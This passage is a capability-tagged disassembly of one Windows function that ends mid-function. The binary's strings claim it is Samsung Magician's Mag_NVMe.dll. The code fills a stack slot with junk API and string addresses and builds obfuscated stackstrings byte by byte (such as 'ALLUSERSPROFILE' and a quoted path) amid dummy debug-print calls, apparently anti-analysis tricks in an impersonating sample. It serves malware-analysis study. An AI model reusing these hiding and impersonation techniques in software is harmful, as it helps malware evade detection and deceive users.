Function at 0x4084f0
Capabilities:
Contain obfuscated stackstrings
Print debug messages
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5f8
push edi
mov dword [ebp - 0x2ac], 0
mov dword [ebp - 0x2ac], str.cntrl
mov dword [ebp - 0x2ac], str.blank
mov dword [ebp - 0x2ac], 0x40c028
mov dword [ebp - 0x2ac], str.alnum
mov dword [ebp - 0x2ac], str.stornvme
mov dword [ebp - 0x2ac], str.microsoft
mov dword [ebp - 0x2ac], str.samsung
mov dword [ebp - 0x2ac], str.community
mov dword [ebp - 0x2ac], str.iaStorA
mov dword [ebp - 0x2ac], str.Intel_Corporation
mov dword [ebp - 0x2ac], str..PhysicalDrive
mov dword [ebp - 0x2ac], str.VS_VERSION_INFO
mov dword [ebp - 0x2ac], 0x40c104
mov dword [ebp - 0x2ac], 0x40c124
mov dword [ebp - 0x2ac], 0x40c138
mov dword [ebp - 0x2ac], 0x40c150
mov dword [ebp - 0x2ac], 0x40c17c
mov dword [ebp - 0x2ac], 0x40c19c
mov dword [ebp - 0x2ac], 0x40c1e8
mov dword [ebp - 0x2ac], 0x40c200
mov dword [ebp - 0x2ac], str.x2028x2029__
mov dword [ebp - 0x2ac], str.alnumalphablankcntrldigitgraphlowerprintpunctspaceunicodeuppervwordxdigit
mov dword [ebp - 0x2ac], str.alpha
mov dword [ebp - 0x2ac], str.upper
mov dword [ebp - 0x2ac], str.lower
mov dword [ebp - 0x2ac], str.punct
mov dword [ebp - 0x2ac], str.NVMeFeatures
mov dword [ebp - 0x2ac], str.Mag_NVMeDev::Gather_DriveInfo
mov dword [ebp - 0x2ac], str.SNT_device
mov dword [ebp - 0x2ac], str.Mag_NVMeDev::ActivateFirmware
mov dword [ebp - 0x2ac], str.Mag_NVMeDev::DownloadFirmware
mov dword [ebp - 0x2ac], str._Mag_NVMeDev::GatherDeviceInformationUsingWinAPI
mov dword [ebp - 0x2ac], str.Mag_NVMeDev::RetrieveAndFill_NVMePT_Identifies
mov dword [ebp - 0x2ac], str.Mag_NVMeDev::GetDriverProperties
mov dword [ebp - 0x2ac], str.Mag_NVMeDev::GetParentPCIProperties
mov dword [ebp - 0x2ac], str._Mag_NVMeDev::FormatNVM
mov dword [ebp - 0x2ac], str.Mag_NVMeDev::GetAuthResponse
mov dword [ebp - 0x2ac], str.Mag_NVMeDev::SendAuthPayload
mov dword [ebp - 0x2ac], str.Mag_NVMeDev::RetrieveAndFill_SNT_SPVS_Identifies
mov dword [ebp - 0x2ac], str.Mag_NVMeDev::SeeIf_SNT_SPVS_MagicianCMD_PossibleAndCheckCapabilities
mov dword [ebp - 0x2ac], str.Mag_NVMeDev::Check_NVMePT_SPVS_MagicianCMD_Capabilities
mov dword [ebp - 0x2ac], str.Mag_NVMeFeaturesImp::ScanDrives
mov dword [ebp - 0x2ac], str.PhysicalDrive__0_9__
mov dword [ebp - 0x2ac], str.SNT_LogSense::GetSupportedLogPages
mov dword [ebp - 0x2ac], str.SNT_LogSense::GetTempeatureLog
mov dword [ebp - 0x2ac], str.StringFileInfo
mov dword [ebp - 0x2ac], str.041204b0
mov dword [ebp - 0x2ac], str.CompanyName
mov dword [ebp - 0x2ac], str.Samsung_Electronics.
mov dword [ebp - 0x2ac], str.FileDescription
mov dword [ebp - 0x2ac], str.Samsung_Magician_Application_Resource
mov dword [ebp - 0x2ac], str.FileVersion
mov dword [ebp - 0x2ac], str.4.9.7.240
mov dword [ebp - 0x2ac], str.InternalName
mov dword [ebp - 0x2ac], 0x40c960
mov dword [ebp - 0x2ac], str.LegalCopyright
mov dword [ebp - 0x2ac], str._2016_SAMSUNG_Electronics_Co._Ltd._All_rights_reserved.
mov dword [ebp - 0x2ac], str.OriginalFilename
mov dword [ebp - 0x2ac], str.Mag_NVMe.dll
mov dword [ebp - 0x2ac], str.ProductName
mov dword [ebp - 0x2ac], str.Samsung_Magician
mov dword [ebp - 0x2ac], str.ProductVersion
mov dword [ebp - 0x2ac], str.4.9.7.0
mov dword [ebp - 0x2ac], str.VarFileInfo
mov dword [ebp - 0x2ac], str.Translation
mov dword [ebp - 0x2a4], 0
mov dword [ebp - 0x2a4], 0x409b2e
mov eax, dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.KERNEL32.dll_CreatePipe]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.KERNEL32.dll_OpenMutexW]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.KERNEL32.dll_TerminateThread]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.KERNEL32.dll_ResetEvent]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x2a4], ecx
mov dword [ebp - 0x2a4], 0x409b28
mov edx, dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.KERNEL32.dll_RaiseException]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.KERNEL32.dll_GetQueuedCompletionStatus]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.USER32.dll_LoadIconW]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.USER32.dll_SetForegroundWindow]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.USER32.dll_ShowScrollBar]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.USER32.dll_PtInRect]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.USER32.dll_GetWindowRect]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.USER32.dll_GetCapture]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.USER32.dll_ReleaseCapture]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.USER32.dll_SetCapture]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.USER32.dll_PostMessageW]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.USER32.dll_PostMessageA]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.USER32.dll_ShowWindow]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.USER32.dll_InflateRect]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.USER32.dll_GetParent]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.USER32.dll_SetParent]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.USER32.dll_CopyRect]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.USER32.dll_LoadCursorW]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.USER32.dll_DefWindowProcW]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.USER32.dll_ReleaseDC]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.USER32.dll_GetDC]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.USER32.dll_SendMessageW]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.USER32.dll_MessageBoxW]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.USER32.dll_GrayStringW]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.USER32.dll_DrawTextExW]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.USER32.dll_DrawTextW]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.USER32.dll_TabbedTextOutW]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.USER32.dll_KillTimer]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.USER32.dll_SetTimer]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.USER32.dll_GetClientRect]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.USER32.dll_InvalidateRect]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.USER32.dll_RegisterWindowMessageW]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.USER32.dll_EnableWindow]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.USER32.dll_WaitForInputIdle]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.GDI32.dll_PtInRegion]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.GDI32.dll_CombineRgn]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.GDI32.dll_StretchBlt]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.GDI32.dll_CreateRectRgn]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.GDI32.dll_SetBkColor]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.GDI32.dll_CreateSolidBrush]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.GDI32.dll_DeleteDC]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.GDI32.dll_GetTextMetricsW]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.GDI32.dll_CreatePen]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.GDI32.dll_CreateRoundRectRgn]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.GDI32.dll_GetObjectA]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.GDI32.dll_Rectangle]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.GDI32.dll_GetStockObject]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.GDI32.dll_CreateFontIndirectW]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.GDI32.dll_GetTextExtentPoint32W]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.GDI32.dll_GetObjectW]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.GDI32.dll_GetDeviceCaps]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.GDI32.dll_CreateFontW]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.GDI32.dll_Escape]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.GDI32.dll_ExtTextOutW]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.GDI32.dll_TextOutW]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.GDI32.dll_RectVisible]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.GDI32.dll_PtVisible]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.GDI32.dll_SelectObject]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.GDI32.dll_MaskBlt]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.GDI32.dll_BitBlt]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.GDI32.dll_CreateBitmap]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.GDI32.dll_DeleteObject]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.ADVAPI32.dll_ReportEventA]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.ADVAPI32.dll_FreeSid]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.ADVAPI32.dll_QueryServiceConfigW]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.ADVAPI32.dll_StartServiceW]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.ADVAPI32.dll_DeleteService]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.ADVAPI32.dll_ControlService]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.COMCTL32.dll_ImageList_GetIconSize]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.COMCTL32.dll_ImageList_Draw]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.ole32.dll_CoInitialize]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.ole32.dll_CoCreateGuid]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.ole32.dll_CLSIDFromString]
mov dword [ebp - 0x2a4], eax
mov ecx, dword [sym.imp.ole32.dll_StringFromGUID2]
mov dword [ebp - 0x2a4], ecx
mov edx, dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 0x2a4], edx
mov eax, dword [sym.imp.ole32.dll_CoUninitialize]
mov dword [ebp - 0x2a4], eax
mov dword [ebp - 0x2b0], 1
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x11c], 1
mov byte [ebp - 0x3f8], 0x22
mov byte [ebp - 0x294], 0x25
mov byte [ebp - 0x293], 0x73
push 2
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x5a8], eax
mov ecx, dword [ebp - 0x5a8]
mov dword [ebp - 0x110], ecx
mov dword [ebp - 0x29c], 1
mov byte [ebp - 0x3f7], 0x25
mov dword [ebp - 0x280], 1
mov edx, dword [ebp - 0x29c]
sub edx, dword [ebp - 0x130]
mov dword [ebp - 0x27c], edx
mov byte [ebp - 0x292], 0x5c
mov eax, dword [ebp - 0x29c]
add eax, dword [ebp - 0x27c]
mov dword [ebp - 0x118], eax
mov byte [ebp - 0x25c], 0x64
mov dword [ebp - 0x250], 1
mov ecx, dword [ebp - 0x118]
sub ecx, 3
mov dword [ebp - 0x10c], ecx
mov byte [ebp - 0x3f6], 0x73
mov byte [ebp - 0x3f5], 0x5c
mov dword [ebp - 0x2b8], 0
mov byte [ebp - 0x3f4], 0x69
mov byte [ebp - 0x3d0], 0x69
mov byte [ebp - 0x25b], 0x61
mov byte [ebp - 0x3cf], 0x6e
mov dword [ebp - 0x274], 0
mov byte [ebp - 0x25a], 0x74
mov edx, dword [ebp - 0x10c]
add edx, dword [ebp - 0x29c]
mov dword [ebp - 0x138], edx
mov dword [ebp - 0x134], 0
mov byte [ebp - 0x291], 0x54
push 0x14
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x5ac], eax
mov eax, dword [ebp - 0x5ac]
mov dword [ebp - 0x2a8], eax
mov byte [ebp - 0x3f3], 0x6e
mov byte [ebp - 0x3dc], 0x65
mov byte [ebp - 0x3ce], 0x73
mov byte [ebp - 0x290], 0x4d
mov byte [ebp - 0x128], 0x65
mov ecx, dword [ebp - 0x2a8]
mov dword [ebp - 0x2c0], ecx
mov byte [ebp - 0x3cd], 0x74
mov byte [ebp - 0x3f2], 0x73
mov byte [ebp - 0x28f], 0x50
mov byte [ebp - 0x259], 0x61
mov byte [ebp - 0x3f1], 0x74
mov byte [ebp - 0x3f0], 0x61
mov byte [ebp - 0x258], 0x2e
cmp dword [ebp - 0x2b8], 0
jne 0x409029
mov edx, dword [ebp - 0x2a8]
mov al, byte [ebp - 0x2b0]
mov byte [edx], al
mov ecx, dword [ebp - 0x2a8]
mov dl, byte [ebp - 0x274]
mov byte [ecx + 1], dl
mov byte [ebp - 0x3cc], 0x61
push 2
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x5b0], eax
mov eax, dword [ebp - 0x5b0]
mov dword [ebp - 0x114], eax
mov byte [ebp - 0x3ef], 0x6c
mov ecx, dword [ebp - 0x110]
mov byte [ecx], 0
mov byte [ebp - 0x257], 0x63
mov byte [ebp - 0x256], 0x61
mov byte [ebp - 0x255], 0x62
mov byte [ebp - 0x3ee], 0x6c
mov dword [ebp - 0x284], 0
jmp 0x409093
mov edx, dword [ebp - 0x284]
add edx, 1
mov dword [ebp - 0x284], edx
mov eax, dword [ebp - 0x284]
cmp eax, dword [ebp - 0x11c]
jge 0x4090b0
mov ecx, dword [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp 0x409084
mov edx, dword [ebp - 0x2c0]
push edx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov byte [ebp - 0x3ed], 0x2e
mov byte [ebp - 0x3db], 0x72
mov byte [ebp - 0x254], 0
mov byte [ebp - 0x28e], 0x5f
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x284], eax
mov byte [ebp - 0x3cb], 0x6c
mov byte [ebp - 0x3da], 0x72
mov dword [ebp - 0x108], 0
mov byte [ebp - 0x28d], 0x25
mov byte [ebp - 0x28c], 0x64
mov byte [ebp - 0x127], 0x72
mov byte [ebp - 0x3ca], 0x6c
mov byte [ebp - 0x3ec], 0x62
mov byte [ebp - 0x3eb], 0x61
mov ecx, dword [ebp - 0x114]
mov byte [ecx], 0
mov byte [ebp - 0x3c9], 0x2e
mov byte [ebp - 0x24c], 0x65
mov dword [ebp - 0x2a0], 0
jmp 0x409159
mov edx, dword [ebp - 0x2a0]
add edx, 1
mov dword [ebp - 0x2a0], edx
mov eax, dword [ebp - 0x2a0]
cmp eax, dword [ebp - 0x280]
jge 0x409176
mov ecx, dword [ebp - 0x114]
push ecx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp 0x40914a
mov byte [ebp - 0x3ea], 0x74
mov edx, dword [ebp - 0x280]
mov dword [ebp - 0x2a0], edx
mov byte [ebp - 0x28b], 0x25
mov byte [ebp - 0x28a], 0x64
mov byte [ebp - 0x3c8], 0x62
mov byte [ebp - 0x3c7], 0x61
mov byte [ebp - 0x3d9], 0
mov byte [ebp - 0x3e9], 0x22
push 0x14
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x5b4], eax
mov eax, dword [ebp - 0x5b4]
mov dword [ebp - 0x12c], eax
mov byte [ebp - 0x3e8], 0x20
mov byte [ebp - 0x289], 0
mov byte [ebp - 0x24b], 0x72
mov byte [ebp - 0x26c], 0x41
mov byte [ebp - 0x24a], 0x72
mov byte [ebp - 0x3c6], 0x74
mov byte [ebp - 0x3e7], 0x22
mov byte [ebp - 0x26b], 0x4c
mov byte [ebp - 0x126], 0x72
mov byte [ebp - 0x3e6], 0x25
mov dword [ebp - 0x2bc], 0
mov byte [ebp - 0x125], 0
mov byte [ebp - 0x3c5], 0
mov byte [ebp - 0x3e5], 0x73
push 0x14
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x5b8], eax
mov ecx, dword [ebp - 0x5b8]
mov dword [ebp - 0x13c], ecx
mov byte [ebp - 0x26a], 0x4c
mov byte [ebp - 0x3e4], 0x22
mov byte [ebp - 0x3e3], 0
mov byte [ebp - 0x269], 0x55
mov dword [ebp - 0x2b4], 0
mov byte [ebp - 0x268], 0x53
push 0x14
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x5bc], eax
mov edx, dword [ebp - 0x5bc]
mov dword [ebp - 0x298], edx
mov byte [ebp - 0x267], 0x45
mov eax, dword [ebp - 0x298]
mov dword [ebp - 0x278], eax
mov byte [ebp - 0x266], 0x52
mov ecx, dword [ebp - 0x11c]
shl ecx, 2
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x5c0], eax
mov edx, dword [ebp - 0x5c0]
mov dword [ebp - 0x134], edx
mov eax, dword [ebp - 0x280]
shl eax, 2
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x5c4], eax
mov ecx, dword [ebp - 0x5c4]
mov dword [ebp - 0x108], ecx
mov byte [ebp - 0x265], 0x53
mov byte [ebp - 0x264], 0x50
cmp dword [ebp - 0x2bc], 0
jne 0x40932f
mov edx, dword [ebp - 0x298]
mov al, byte [ebp - 0x250]
mov byte [edx], al
mov ecx, dword [ebp - 0x298]
mov dl, byte [ebp - 0x2b4]
mov byte [ecx + 1], dl
mov byte [ebp - 0x263], 0x52
mov byte [ebp - 0x262], 0x4f
mov eax, dword [ebp - 0x278]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov byte [ebp - 0x261], 0x46
cmp dword [ebp - 0x12c], 0
jne 0x409367
lea ecx, [ebp - 0x3dc]
push ecx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov byte [ebp - 0x260], 0x49
mov byte [ebp - 0x25f], 0x4c
mov byte [ebp - 0x25e], 0x45
mov dword [ebp - 0x284], 0
jmp 0x409397
mov edx, dword [ebp - 0x284]
add edx, 1
mov dword [ebp - 0x284], edx
mov eax, dword [ebp - 0x284]
cmp eax, dword [ebp - 0x11c]
jge 0x4093d1
mov ecx, dword [ebp - 0x110]
add ecx, dword [ebp - 0x284]
mov edx, dword [ebp - 0x284]
mov eax, dword [ebp - 0x134]
mov dl, byte [eax + edx*4]
mov byte [ecx], dl
mov eax, dword [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp 0x409388
mov byte [ebp - 0x25d], 0
call fcn.0040507d
test eax, eax
jne 0x4094e4
mov dword [ebp - 0x518], 1
or eax, 0xffffffff
jmp 0x409b20
cmp dword [ebp - 0x12c], 0
je 0x40950a
mov edx, dword [ebp - 0x12c]
mov byte [edx], 0x61
mov eax, dword [ebp - 0x12c]
mov byte [eax + 1], 0x62
mov ecx, dword [ebp - 0x12c]
mov byte [ecx + 2], 0
cmp dword [ebp - 0x12c], 0
je 0x409520
mov edx, dword [ebp - 0x12c]
push edx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call fcn.00405870
call dword [0x40cb14]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 4
mov byte [ebp - 0x249], 0
push 0x14
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x5d4], eax
mov eax, dword [ebp - 0x5d4]
mov dword [ebp - 0x270], eax
mov byte [ebp - 0x4fc], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x4fb]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea ecx, [ebp - 0x4fc]
push ecx
push 0x104
call dword [0x40cb18]
mov dword [ebp - 0x2a0], 0
jmp 0x40959e
mov edx, dword [ebp - 0x2a0]
add edx, 1
mov dword [ebp - 0x2a0], edx
mov eax, dword [ebp - 0x2a0]
cmp eax, dword [ebp - 0x280]
jge 0x4095d8
mov ecx, dword [ebp - 0x114]
add ecx, dword [ebp - 0x2a0]
mov edx, dword [ebp - 0x2a0]
mov eax, dword [ebp - 0x108]
mov dl, byte [eax + edx*4]
mov byte [ecx], dl
mov eax, dword [ebp - 0x114]
push eax
